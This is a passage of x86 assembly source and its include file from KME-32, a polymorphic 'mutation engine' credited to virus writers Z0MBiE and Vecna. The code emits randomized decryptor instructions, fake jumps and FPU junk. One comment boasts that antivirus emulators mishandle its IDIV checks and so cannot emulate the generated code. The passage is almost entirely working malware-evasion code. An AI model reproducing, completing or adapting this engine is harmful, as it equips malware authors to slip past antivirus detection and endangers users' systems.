@@rnd_zf jz @@long_dontfollow @@short_dontfollow: stosb call @@random_byte stosb ;displacement(that dont get exec) jmp @@poly_cmd_exit @@long_dontfollow: xor al, 0F0h mov ah, 0Fh xchg al, ah stosw call @@random_dword stosd jmp @@poly_cmd_exit ; --------------------- common subroutines ---------------------------------- ; input: EAX=opcode, REG1,REG2 @@swap: flagsnz FLAG_NOSWAP, @@swap_retn call @@rnd_zf jz @@swap_retn xor al, 2 ; bit 'S', means swap regs xchg REG1, REG2 ; so, the same action @@swap_retn: retn @@oralR1_stosb: or al, REG1_8 stosb jmp @@poly_cmd_exit @@orahR1_stosw: or ah, REG1_8 stosw jmp @@poly_cmd_exit @@swap_stosb_modrm: call @@swap jmp @@stosb_modrm @@stosw_modrm: stosb mov al, ah @@stosb_modrm: stosb call @@modrm jmp @@poly_cmd_exit @@modrm: pusha mov al, 0C0h shl REG2_8, 3 or al, REG2_8 or al, REG1_8 stosb popa inc edi retn @@stosw_modrm_stosbX: stosw call @@modrm jmp @@stosbX @@stosb_modrm_stosd: stosb call @@modrm jmp @@stosd @@oralR1_stosb_stosd: or al, REG1_8 @@stosb_stosd: stosb @@stosd: xchg eax, XXX stosd jmp @@poly_cmd_exit @@orahR1_stosw_stosd: or ah, REG1_8 stosw jmp @@stosd @@checkshort: cmp al, 83h je @@orahR1_stosw_stosbX flagsnz FLAG_NOSHORT, @@orahR1_stosw_stosd test REG1, REG1 jnz @@orahR1_stosw_stosd shr eax, 16 jmp @@stosb_stosd @@orahR1_stosw_stosbX: or ah, REG1_8 stosw @@stosbX: mov al, XXX_8 stosb jmp @@poly_cmd_exit @@modarg: and ecx, 31 ; if (x==0) x++; cmp cl, 1 adc cl, 0 retn @@stos3or: stosw shr eax, 16 or al, REG1_8 mov ah, XXX_8 stosw jmp @@poly_cmd_exit ; --------------------------------------------------------------------------- @@x_not: testcmd CMD_NOT, @@poly_cmd_restart not em_reg[REG1*4] ; emul -- not r1 mov ax, 0d0f7h ; opcode jmp @@orahR1_stosw @@x_neg: testcmd CMD_NEG, @@poly_cmd_restart neg em_reg[REG1*4] ; emul -- neg r1 mov ax, 0d8f7h ; opcode jmp @@orahR1_stosw @@x_inc: testcmd CMD_INC, @@poly_cmd_restart inc em_reg[REG1*4] ; emul -- inc r1 mov al, 40h ; opcode jmp @@oralR1_stosb @@x_dec: testcmd CMD_DEC, @@poly_cmd_restart dec em_reg[REG1*4] ; emul -- dec r1 mov al, 48h ; opcode jmp @@oralR1_stosb @@x_shl: testcmd CMD_SHL, @@poly_cmd_restart shl em_reg[REG1*4], 1 ; emul -- shl r1, 1 mov ax, 0e0d1h ; opcode jmp @@orahR1_stosw @@x_shr: testcmd CMD_SHR, @@poly_cmd_restart shr em_reg[REG1*4], 1 ; emul -- shr r1, 1 mov ax, 0e8d1h ; opcode jmp @@orahR1_stosw @@x_rol: testcmd CMD_ROL, @@poly_cmd_restart rol em_reg[REG1*4], 1 ; emul -- rol r1, 1 mov ax, 0c0d1h ; opcode jmp @@orahR1_stosw @@x_ror: testcmd CMD_ROR, @@poly_cmd_restart ror em_reg[REG1*4], 1 ; emul -- ror r1, 1 mov ax, 0c8d1h ; opcode jmp @@orahR1_stosw @@x_sar: testcmd CMD_SAR, @@poly_cmd_restart sar em_reg[REG1*4], 1 ; emul -- sar r1, 1 mov ax, 0f8d1h ; opcode jmp @@orahR1_stosw @@x_xor: testcmd CMD_XOR, @@poly_cmd_restart mov eax, em_reg[REG2*4] ; emul -- xor r1, r2 xor em_reg[REG1*4], eax mov al, 31h ; opcode jmp @@swap_stosb_modrm @@x_add: testcmd CMD_ADD, @@poly_cmd_restart mov eax, em_reg[REG2*4] ; emul -- add r1, r2 add em_reg[REG1*4], eax mov al, 01h ; opcode jmp @@swap_stosb_modrm @@x_sub: testcmd CMD_SUB, @@poly_cmd_restart mov eax, em_reg[REG2*4] ; emul -- sub r1, r2 sub em_reg[REG1*4], eax mov al, 29h ; opcode jmp @@swap_stosb_modrm @@x_mov: testcmd CMD_MOV, @@poly_cmd_restart mov eax, em_reg[REG2*4] ; emul -- mov r1, r2 mov em_reg[REG1*4], eax mov al, 89h ; opcode jmp @@swap_stosb_modrm @@x_xchg: testcmd CMD_XCHG, @@poly_cmd_restart bt regused, REG2 jc @@poly_cmd_exit mov eax, em_reg[REG1*4] ; emul -- xchg r1, r2 xchg em_reg[REG2*4], eax mov em_reg[REG1*4], eax mov al, 87h ; opcode jmp @@stosb_modrm @@x_and: testcmd CMD_AND, @@poly_cmd_restart mov eax, em_reg[REG2*4] ; emul -- and r1, r2 and em_reg[REG1*4], eax mov al, 21h ; opcode jmp @@swap_stosb_modrm @@x_or: testcmd CMD_OR, @@poly_cmd_restart mov eax, em_reg[REG2*4] ; emul -- or r1, r2 or em_reg[REG1*4], eax mov al, 09h ; opcode jmp @@swap_stosb_modrm @@x_mov_c: testcmd CMD_MOV, @@poly_cmd_restart mov em_reg[REG1*4], XXX ; emul -- mov r1, c mov al, 0B8h ; opcode jmp @@oralR1_stosb_stosd @@x_add_c: testcmd CMD_ADD, @@poly_cmd_restart mov eax, 05C081h call @@try_short add em_reg[REG1*4], XXX ; emul -- add r1, c jmp @@checkshort @@x_sub_c: testcmd CMD_SUB, @@poly_cmd_restart mov eax, 2DE881h ; opcode call @@try_short sub em_reg[REG1*4], XXX ; emul -- sub r1, c jmp @@checkshort @@x_xor_c: testcmd CMD_XOR, @@poly_cmd_restart mov eax, 35F081h ; opcode call @@try_short xor em_reg[REG1*4], XXX ; emul -- xor r1, c jmp @@checkshort @@x_and_c: testcmd CMD_AND, @@poly_cmd_restart mov eax, 25E081h ; opcode call @@try_short and em_reg[REG1*4], XXX ; emul -- and r1, c jmp @@checkshort @@x_or_c: testcmd CMD_OR, @@poly_cmd_restart mov eax, 0DC881h ; opcode call @@try_short or em_reg[REG1*4], XXX ; emul -- or r1, c jmp @@checkshort @@try_short: flagsnz FLAG_NOSHORT_C, @@try_short_retn call @@rnd_zf jz @@try_short_retn or al, 2 ; 81->83 movsx XXX, XXX_8 @@try_short_retn: retn @@x_rol_c: testcmd CMD_ROL, @@poly_cmd_restart call @@modarg ; modify argument rol em_reg[REG1*4], cl ; emul -- rol r1, c mov ax, 0C0C1h ; opcode jmp @@orahR1_stosw_stosbX @@x_ror_c: testcmd CMD_ROR, @@poly_cmd_restart call @@modarg ; modify argument ror em_reg[REG1*4], cl ; emul -- ror r1, c mov ax, 0C8C1h ; opcode jmp @@orahR1_stosw_stosbX @@x_imul_ex: testcmd CMD_IMUL, @@poly_cmd_restart mov eax, em_reg[REG1*4] ; emul -- imul r1, r2 imul eax, em_reg[REG2*4] mov em_reg[REG1*4], eax mov ax, 0AF0Fh ; opcode xchg REG1, REG2 jmp @@stosw_modrm @@x_imul_ex_c: testcmd CMD_IMUL, @@poly_cmd_restart mov eax, em_reg[REG2*4] ; emul -- imul r1,r2,c imul eax, XXX mov em_reg[REG1*4], eax mov al, 69h ; opcode xchg REG1, REG2 jmp @@stosb_modrm_stosd @@x_shld: testcmd CMD_SHLD, @@poly_cmd_restart call @@modarg ; modify argument mov eax, em_reg[REG2*4] ; emul -- shld r1,r2,c shld em_reg[REG1*4], eax, cl mov ax, 0A40Fh ; opcode jmp @@stosw_modrm_stosbX @@x_shrd: testcmd CMD_SHRD, @@poly_cmd_restart call @@modarg ; modify argument mov eax, em_reg[REG2*4] ; emul -- shrd r1,r2,c shrd em_reg[REG1*4], eax, cl mov ax, 0AC0Fh ; opcode jmp @@stosw_modrm_stosbX @@x_btc_c: testcmd CMD_BTC, @@poly_cmd_restart call @@modarg ; modify argument btc em_reg[REG1*4], XXX ; emul -- btc r1, c mov eax, 0f8ba0fh ; opcode jmp @@stos3or @@x_btr_c: testcmd CMD_BTR, @@poly_cmd_restart call @@modarg ; modify argument btr em_reg[REG1*4], XXX ; emul -- btr r1, c mov eax, 0f0ba0fh ; opcode jmp @@stos3or @@x_bts_c: testcmd CMD_BTS, @@poly_cmd_restart call @@modarg ; modify argument bts em_reg[REG1*4], XXX ; emul -- bts r1, c mov eax, 0e8ba0fh ; opcode jmp @@stos3or @@x_bswap: testcmd CMD_BSWAP, @@poly_cmd_restart mov eax, em_reg[REG1*4] ; emul -- bswap r1 bswap eax mov em_reg[REG1*4], eax mov ax, 0c80fh ; opcode jmp @@orahR1_stosw @@x_xadd: testcmd CMD_XADD, @@poly_cmd_restart bt regused, REG2 jc @@poly_cmd_exit mov eax, em_reg[REG1*4] ; emul -- xadd r1,r2 mov ecx, em_reg[REG2*4] xadd eax, ecx mov em_reg[REG1*4], eax mov em_reg[REG2*4], ecx mov ax, 0C10Fh ; opcode jmp @@stosw_modrm @@x_bsr: testcmd CMD_BSR, @@poly_cmd_restart mov eax, em_reg[REG1*4] mov ecx, em_reg[REG2*4] bsr eax, ecx mov em_reg[REG1*4], eax mov ax, 0BD0Fh xchg REG1, REG2 jmp @@stosw_modrm @@x_bsf: testcmd CMD_BSF, @@poly_cmd_restart mov eax, em_reg[REG1*4] mov ecx, em_reg[REG2*4] bsf eax, ecx mov em_reg[REG1*4], eax mov ax, 0BC0Fh xchg REG1, REG2 jmp @@stosw_modrm @@md_init: mov eax, regavail and eax, REG_EAX+REG_EDX cmp eax, REG_EAX+REG_EDX jne @@md_sux mov eax, reginit and eax, REG_EAX+REG_EDX cmp eax, REG_EAX+REG_EDX jne @@md_sux test regused, REG_EAX+REG_EDX jnz @@md_sux mov eax, em_reg[REG_EAX_N*4] mov edx, em_reg[REG_EDX_N*4] mov ecx, em_reg[REG1*4] retn @@md_sux: pop eax ; return address jmp @@poly_cmd_exit @@md_done: mov em_reg[REG_EAX_N*4], eax mov em_reg[REG_EDX_N*4], edx retn @@x_mul: testcmd CMD_MUL, @@poly_cmd_restart call @@md_init mul ecx call @@md_done mov ax, 0E0F7h jmp @@orahR1_stosw @@x_imul: testcmd CMD_IMUL, @@poly_cmd_restart call @@md_init imul ecx call @@md_done mov ax, 0E8F7h jmp @@orahR1_stosw @@x_div: testcmd CMD_DIV, @@poly_cmd_restart call @@md_init ;; check if DIV avail or ecx, ecx jz @@poly_cmd_exit cmp ecx, edx jbe @@poly_cmd_exit ;; div ecx call @@md_done mov eax, 0F0F7h jmp @@orahR1_stosw @@x_idiv: testcmd CMD_DIV, @@poly_cmd_restart call @@md_init ;; check if IDIV avail call @@can_idiv jc @@poly_cmd_exit ;; idiv ecx call @@md_done mov eax, 0F8F7h jmp @@orahR1_stosw ; action: IDIV parameters checking (partial emulation, unsigned) ; input: EDX:EAX, ECX ; output: CF ; * all AV emulators performs only partial verification at this step, ; * and skips some good IDIVs. So, they will be unable to emul our code. ; * Seems such defective programmers as V.Bogdanov has problems coding it. @@can_idiv: pusha or ecx, ecx jz @@idiv_err jg @@g1 neg ecx @@g1: or edx, edx jge @@g2 neg edx neg eax sbb edx, 0 @@g2: xor esi, esi ; d xor edi, edi ; m mov bl, 64 @@divcycle: shl esi, 1 ; d <<= 1 jc @@idiv_err shl eax, 1 ; x <<= 1 rcl edx, 1 rcl edi, 1 ; m = (m << 1) | x.bit[i] jc @@cmpsub cmp edi, ecx ; if (m >= y) jb @@cmpsubok @@cmpsub: sbb edi, ecx ; m -= y or esi, 1 ; d |= 1 @@cmpsubok: dec bl jnz @@divcycle shl esi, 1 jc @@idiv_err shl edi, 1 jc @@idiv_err popa retn @@idiv_err: stc popa retn ; --------------------------------------------------------------------------- ; real super-puper... @@x_fpu: testcmd2 CMD2_FPU, @@poly_cmd_restart cmp in_subroutine, 0 ; avoid FPU stack overflow jne @@poly_cmd_exit cmp fpustack, 8 ; max FPU stack jae @@poly_cmd_exit cmp fpuinit, 0 jne @@alredyinit inc fpuinit mov ax, 0DB9Bh ; finit (wait+fninit) stosw mov al, 0E3h stosb finit mov fpustack, 0 call @@poly_cmd call @@eip @@alredyinit: lea eax, [REG2+50h] ; push reg2 stosb push em_reg[REG2*4] call @@poly_cmd call @@eip mov ax, 04DBh ; fild dword ptr [esp] stosw mov al, 24h stosb fild dword ptr [esp] inc fpustack call @@poly_cmd call @@rnd_zf jz @@cos @@sin: mov ax, 0FED9h stosw fsin jmp @@fpu_done @@cos: mov ax, 0FFD9h stosw fcos @@fpu_done: call @@poly_cmd call @@eip mov ax, 1CD9h ; fstp dword ptr [esp] stosw mov al, 24h stosb fstp dword ptr [esp] dec fpustack call @@poly_cmd pop em_reg[REG1*4] call @@eip lea eax, [REG1+58h] ; pop reg1 stosb jmp @@poly_cmd_exit ; --------------------------------------------------------------------------- kme_main endp kme_end: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[KME32.INC]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[KME32.INT]ÄÄÄ ; =========================================================================== ; KME-32 v3.00 Kewl Mutation Engine (c) 99-00 Z0MBiE, Vecna ; =========================================================================== ; --------------------- flags ----------------------------------------------- FLAG_DEBUG equ 00000001h ; insert INT3 into poly decr FLAG_NOLOGIC equ 00000002h ; disable "logic" FLAG_NOJMPS equ 00000004h ; disable JMPs. ; NOJMPS means generate continuous block of code FLAG_EIP0 equ 00000008h ; initial entry = 0, not rnd FLAG_NOSHORT equ 00000010h ; disable short-opcodes for EAX ; v3.00+ FLAG_NOSHORT_C equ 00000020h ; disable short-consts usage FLAG_NOSWAP equ 00000040h ; disable [cmd r1,r2] perverting ; --------------------- registers ------------------------------------------- REG_EAX equ 00000001h ; bitfields for register mask REG_ECX equ 00000002h ; REG_EDX equ 00000004h ; at least 1 register should REG_EBX equ 00000008h ; be specified. REG_ESP equ 00000010h ; use REG_DEFAULT otherwise REG_EBP equ 00000020h ; REG_ESI equ 00000040h ; REG_EDI equ 00000080h ; REG_ALL equ (not REG_ESP) and 255 REG_DEFAULT equ REG_EAX REG_EAX_N equ 0 REG_ECX_N equ 1 REG_EDX_N equ 2 REG_EBX_N equ 3 REG_ESP_N equ 4 REG_EBP_N equ 5 REG_ESI_N equ 6 REG_EDI_N equ 7 ; --------------------- commands -------------------------------------------- CMD_ALL equ -1 ; use all available commands CMD_MOV equ 00000001h ; bitfields for command mask CMD_XCHG equ 00000002h ; CMD_ADD equ 00000004h ; at least 1 command should CMD_SUB equ 00000008h ; be specified. default=XOR CMD_XOR equ 00000010h ; CMD_INC equ 00000020h ; all CMD_xxx commands can be CMD_DEC equ 00000040h ; disabled by FLAG_NOLOGIC CMD_OR equ 00000080h ; CMD_AND equ 00000100h ; CMD_SHL equ 00000200h ; CMD_SHR equ 00000400h ; CMD_ROL equ 00000800h ; CMD_ROR equ 00001000h ; CMD_SAR equ 00002000h ; CMD_NOT equ 00004000h ; CMD_NEG equ 00008000h ; CMD_IMUL_EX equ 00010000h ; CMD_SHLD equ 00020000h ; CMD_SHRD equ 00040000h ; CMD_BTC equ 00080000h ; CMD_BTR equ 00100000h ; CMD_BTS equ 00200000h ; CMD_BSWAP equ 00400000h ; CMD_XADD equ 00800000h ; CMD_MOVSXZX equ 01000000h ; mov?x CMD_BSR equ 02000000h ; CMD_BSF equ 04000000h ; CMD_MUL equ 08000000h CMD_IMUL equ 10000000h CMD_DIV equ 20000000h CMD_IDIV equ 40000000h CMD_PUSHPOP equ 80000000h ; used when initializing regs ;; CMD_OLDSTUFF equ 000FFFFFFh ; 1.00 CMD_NEWSTUFF equ 0FF000000h ; 2.00+ CMD2_ALL equ -1 CMD2_PUSHPOPR equ 00000001h ; push r; polycmd; pop r CMD2_PUSHPOPC equ 00000002h ; push c; polycmd; pop r CMD2_IFOLLOW equ 00000004h ; cmp r, c; jxx CMD2_INOFOLLOW equ 00000008h ; cmp r, c; jxx fake CMD2_RFOLLOW equ 00000010h ; cmp r, r; jxx CMD2_RNOFOLLOW equ 00000020h ; cmp r, r; jxx fake CMD2_JXX equ 00000014h CMD2_JXX_FAKE equ 00000028h CMD2_SUBROUTINE equ 00000040h ; 8-() CMD2_CYCLE equ 00000080h ; |-> CMD2_FPU equ 00000100h ; X-) ; =========================================================================== ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[KME32.INT]ÄÄÄ